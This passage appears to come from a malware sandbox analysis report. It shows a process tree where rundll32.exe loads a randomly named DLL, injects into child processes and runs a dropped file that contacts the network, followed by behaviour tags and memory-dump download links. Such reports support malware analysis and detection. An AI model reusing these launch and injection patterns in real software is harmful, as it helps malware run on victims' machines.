        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1940
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1412
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lcff\ztmcoyf.gye",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:920

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/324-21-0x000007FEF7C70000-0x000007FEF7EEA000-memory.dmp
          Download

          memory/920-20-0x00000000001B0000-0x00000000001D2000-memory.dmp
          Download

          memory/1020-7-0x00000000025F0000-0x00000000025F1000-memory.dmp
          Download

          memory/1020-10-0x000000001C450000-0x000000001C451000-memory.dmp
          Download

          memory/1020-9-0x000000001B600000-0x000000001B601000-memory.dmp
          Download

          memory/1020-8-0x0000000002300000-0x0000000002301000-memory.dmp
          Download

          memory/1020-6-0x000000001AB50000-0x000000001AB51000-memory.dmp
          Download

          memory/1020-5-0x00000000025B0000-0x00000000025B1000-memory.dmp
          Download

          memory/1020-4-0x000007FEF5B20000-0x000007FEF650C000-memory.dmp
          Download

          memory/1412-18-0x00000000001F0000-0x0000000000212000-memory.dmp
          Download